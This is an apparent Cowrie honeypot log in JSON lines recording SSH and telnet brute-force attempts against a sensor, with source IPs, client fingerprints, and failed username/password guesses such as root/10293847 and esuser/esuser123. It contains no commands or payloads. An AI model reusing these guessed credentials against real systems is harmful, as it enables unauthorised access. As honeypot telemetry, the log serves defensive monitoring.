{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:58:1e:ad:ec:f2:65:ea:f4:56:04:51:7f:4e:0c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClznSnGaiQUs29x3P88PuBnQezvKsd866f6LRtLUwxg0OThIGdt3LgfLDec2ZipEjSEeUrO6UF7E1blL3oyZpXwA7en2yocreN6Ux0ut8wd3YUv0UGpbFZv3TQ+AFd8YxNE2NO391lTlQmsSfyRV63v2hbdPhh//msI45AFX1xZfULzK2ZbNEguOibHHzOTWaJbnNZPNBuy4btxbC6xvaFa4+jdCdQ6M12oVknUIftE+yhjuwW1zNA8T7BuvVoniPzJDISZOQwosml+CNMAWnElw6ucOAHA032MS5+nRe7QV6DoA/X1HUTMW3ef1aHmgJwBN2kTaLMLjGp6XYXPNPt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:58:1e:ad:ec:f2:65:ea:f4:56:04:51:7f:4e:0c:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.218216Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:58:1e:ad:ec:f2:65:ea:f4:56:04:51:7f:4e:0c:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClznSnGaiQUs29x3P88PuBnQezvKsd866f6LRtLUwxg0OThIGdt3LgfLDec2ZipEjSEeUrO6UF7E1blL3oyZpXwA7en2yocreN6Ux0ut8wd3YUv0UGpbFZv3TQ+AFd8YxNE2NO391lTlQmsSfyRV63v2hbdPhh//msI45AFX1xZfULzK2ZbNEguOibHHzOTWaJbnNZPNBuy4btxbC6xvaFa4+jdCdQ6M12oVknUIftE+yhjuwW1zNA8T7BuvVoniPzJDISZOQwosml+CNMAWnElw6ucOAHA032MS5+nRe7QV6DoA/X1HUTMW3ef1aHmgJwBN2kTaLMLjGp6XYXPNPt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.222363Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:ad:09:be:31:4a:40:be:71:16:7a:33:5b:e3:a8:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMUyd9pmY+CzYBfB5zrkTqlpGVWScn89IfpxoZmnuIyH1zu3u41+KoA6JEqU8Z3xFIIxgBAaJEcV7Mimi0o0jrYwjF+mUKXmpSi6l+a5iMtBctus6EQpttrpM/0ZZ3kV+qCd8h0gWyUxBmykwddJeUnuRXCj+cG5EFNDxFiPZ+o7odFi84jZWuEqgFye672sAKW0XQAe+FCe8Ob13W2g3HXX+u+bUwFSH/m0KmYyaHvEMdaFZAplL4hYiMu2rVkc6RGOMDBLmjGibIsV4r836ZCTWjyDKdXmLF7TwJLctQubxMMwMH5P+5/4Rn2eKVGYkU8p45d0gPVxARCSKpXiPv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:ad:09:be:31:4a:40:be:71:16:7a:33:5b:e3:a8:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.268362Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:ad:09:be:31:4a:40:be:71:16:7a:33:5b:e3:a8:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMUyd9pmY+CzYBfB5zrkTqlpGVWScn89IfpxoZmnuIyH1zu3u41+KoA6JEqU8Z3xFIIxgBAaJEcV7Mimi0o0jrYwjF+mUKXmpSi6l+a5iMtBctus6EQpttrpM/0ZZ3kV+qCd8h0gWyUxBmykwddJeUnuRXCj+cG5EFNDxFiPZ+o7odFi84jZWuEqgFye672sAKW0XQAe+FCe8Ob13W2g3HXX+u+bUwFSH/m0KmYyaHvEMdaFZAplL4hYiMu2rVkc6RGOMDBLmjGibIsV4r836ZCTWjyDKdXmLF7TwJLctQubxMMwMH5P+5/4Rn2eKVGYkU8p45d0gPVxARCSKpXiPv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.275142Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:63:f5:48:42:d9:75:5a:1b:53:cf:91:2d:58:6f:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/FNciKC0PLUKAFFmtJ0hH6LHbNLfZ9eTwUo+1DBFV7rTFTkguaswpUb7htL6puFQqEBkq+DtCZ7DBZ9pLC2JNxZt6wuPm+sLVouBQY+P0g9EOrag6rddPitSZ25srNwcy81YFNVzFeva0ancAallgyIiI9tEE5zMPXUACHYyVPoDBRJTp0AbTPQ7/EAaISCa2zfW5Y+HeUGxK4r6lbQc1dI0EqpFoQbAoIFEJjQ8C3EcQVk/WOl5aRoqW0qf4IT1rtWfzQ7VBvfg9tTcNL82IsrTJevK1pVMZUsdPj5L3oIEFS2K7RvS7QmjDSquAnlTt/AWShpTCSfF5wIQAOEz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:63:f5:48:42:d9:75:5a:1b:53:cf:91:2d:58:6f:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.323144Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:63:f5:48:42:d9:75:5a:1b:53:cf:91:2d:58:6f:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH/FNciKC0PLUKAFFmtJ0hH6LHbNLfZ9eTwUo+1DBFV7rTFTkguaswpUb7htL6puFQqEBkq+DtCZ7DBZ9pLC2JNxZt6wuPm+sLVouBQY+P0g9EOrag6rddPitSZ25srNwcy81YFNVzFeva0ancAallgyIiI9tEE5zMPXUACHYyVPoDBRJTp0AbTPQ7/EAaISCa2zfW5Y+HeUGxK4r6lbQc1dI0EqpFoQbAoIFEJjQ8C3EcQVk/WOl5aRoqW0qf4IT1rtWfzQ7VBvfg9tTcNL82IsrTJevK1pVMZUsdPj5L3oIEFS2K7RvS7QmjDSquAnlTt/AWShpTCSfF5wIQAOEz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.328660Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:a8:53:a6:09:07:17:5b:14:ee:9a:fb:71:78:5b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm2pAuqt/SW8niJ0RRxyiXFgc8Usjy54mxn6uT2z754e9CSu99tVuUo5nXAScN0quVUI53wFJKuqK2DpAOJV1/zXeTU0cE8UB9AX6IvYLP1HmqxfYucSklZY12VFv5IoufAr4fe+1BjHmlIdh1rL6BYDsCr7hF8c36IEnU38PSbyhtN1Y0Fi5+HAkJZ4r7+mDRBOYbjZVE35OAANRcgut+Yj6w9uOK+w4iUShXOMe6YNk2XG6zmeoh9VzqXnu84GMwEpHbKFBlJ4tqJGqclINRVDE4kxz55jQOrYJ5w8uGZJJuUclXRccIzM1uQ12GPXzuPwmLIeKXSQSxH9U3EETj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:a8:53:a6:09:07:17:5b:14:ee:9a:fb:71:78:5b:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.390876Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:a8:53:a6:09:07:17:5b:14:ee:9a:fb:71:78:5b:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCm2pAuqt/SW8niJ0RRxyiXFgc8Usjy54mxn6uT2z754e9CSu99tVuUo5nXAScN0quVUI53wFJKuqK2DpAOJV1/zXeTU0cE8UB9AX6IvYLP1HmqxfYucSklZY12VFv5IoufAr4fe+1BjHmlIdh1rL6BYDsCr7hF8c36IEnU38PSbyhtN1Y0Fi5+HAkJZ4r7+mDRBOYbjZVE35OAANRcgut+Yj6w9uOK+w4iUShXOMe6YNk2XG6zmeoh9VzqXnu84GMwEpHbKFBlJ4tqJGqclINRVDE4kxz55jQOrYJ5w8uGZJJuUclXRccIzM1uQ12GPXzuPwmLIeKXSQSxH9U3EETj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.395139Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:12.443588Z","src_ip":"148.153.245.161","session":"e2dc8a0dc6ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:13.424084Z","src_ip":"31.40.204.166","session":"cdc7d14aa198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":55838,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4e56d246674","protocol":"ssh","message":"New connection: 77.94.47.83:55838 (10.17.0.5:22) [session: d4e56d246674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:14.832243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:14.842902Z","src_ip":"77.94.47.83","session":"d4e56d246674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:14.981978Z","src_ip":"77.94.47.83","session":"d4e56d246674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10293847","message":"login attempt [root/10293847] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:15.384285Z","src_ip":"77.94.47.83","session":"d4e56d246674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:16.517306Z","src_ip":"77.94.47.83","session":"d4e56d246674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41466,"dst_ip":"10.17.0.5","dst_port":23,"session":"43374da754e5","protocol":"telnet","message":"New connection: 152.42.224.71:41466 (10.17.0.5:23) [session: 43374da754e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:21.119021Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48492,"dst_ip":"159.203.135.109","dst_port":22,"session":"27f11447643b","protocol":"ssh","message":"New connection: 31.40.204.166:48492 (159.203.135.109:22) [session: 27f11447643b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:23.122093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:23.180406Z","src_ip":"31.40.204.166","session":"27f11447643b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:23.305243Z","src_ip":"31.40.204.166","session":"27f11447643b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:23.813953Z","src_ip":"31.40.204.166","session":"27f11447643b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:24.995645Z","src_ip":"31.40.204.166","session":"27f11447643b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60588,"dst_ip":"10.17.0.5","dst_port":23,"session":"231363839c5c","protocol":"telnet","message":"New connection: 152.42.224.71:60588 (10.17.0.5:23) [session: 231363839c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:26.503170Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":20105,"dst_ip":"10.17.0.5","dst_port":22,"session":"2de56b77fd00","protocol":"ssh","message":"New connection: 2.57.121.25:20105 (10.17.0.5:22) [session: 2de56b77fd00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:26.764731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:26.770113Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:26.873018Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24862486","message":"login attempt [user/24862486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:27.346458Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.40701937675476,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:27.446028Z","src_ip":"152.42.224.71","session":"2a2255e5fc85","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"241091","message":"login attempt [user/241091] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:28.450477Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60594,"dst_ip":"10.17.0.5","dst_port":23,"session":"909f58af7b4b","protocol":"telnet","message":"New connection: 152.42.224.71:60594 (10.17.0.5:23) [session: 909f58af7b4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:28.631090Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"24101981","message":"login attempt [user/24101981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:29.555729Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60610,"dst_ip":"10.17.0.5","dst_port":23,"session":"8589db2a57ce","protocol":"telnet","message":"New connection: 152.42.224.71:60610 (10.17.0.5:23) [session: 8589db2a57ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:30.138921Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"240889","message":"login attempt [user/240889] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:30.660897Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60626,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6e03c2246b","protocol":"telnet","message":"New connection: 152.42.224.71:60626 (10.17.0.5:23) [session: 8b6e03c2246b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:30.808031Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"24081993","message":"login attempt [user/24081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:31.766450Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.61744570732117,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:32.395692Z","src_ip":"152.42.224.71","session":"6b7253adfd18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:32.868615Z","src_ip":"2.57.121.25","session":"2de56b77fd00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60642,"dst_ip":"10.17.0.5","dst_port":23,"session":"5978cfa4b850","protocol":"telnet","message":"New connection: 152.42.224.71:60642 (10.17.0.5:23) [session: 5978cfa4b850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:33.891758Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44646,"dst_ip":"159.203.135.109","dst_port":22,"session":"7df473471b58","protocol":"ssh","message":"New connection: 31.40.204.166:44646 (159.203.135.109:22) [session: 7df473471b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:34.511240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:34.517366Z","src_ip":"31.40.204.166","session":"7df473471b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:34.692978Z","src_ip":"31.40.204.166","session":"7df473471b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:35.381181Z","src_ip":"31.40.204.166","session":"7df473471b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.787309408187866,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:35.418222Z","src_ip":"152.42.224.71","session":"909f58af7b4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60652,"dst_ip":"10.17.0.5","dst_port":23,"session":"80927b512344","protocol":"telnet","message":"New connection: 152.42.224.71:60652 (10.17.0.5:23) [session: 80927b512344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:35.985530Z"}
{"eventid":"cowrie.session.closed","duration":24.25420331954956,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:36.096830Z","src_ip":"152.42.224.71","session":"6f73f023ef23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:36.514772Z","src_ip":"31.40.204.166","session":"7df473471b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":27984,"dst_ip":"10.17.0.5","dst_port":22,"session":"a666e03594f6","protocol":"ssh","message":"New connection: 2.57.121.112:27984 (10.17.0.5:22) [session: a666e03594f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:50:37.507364Z"}
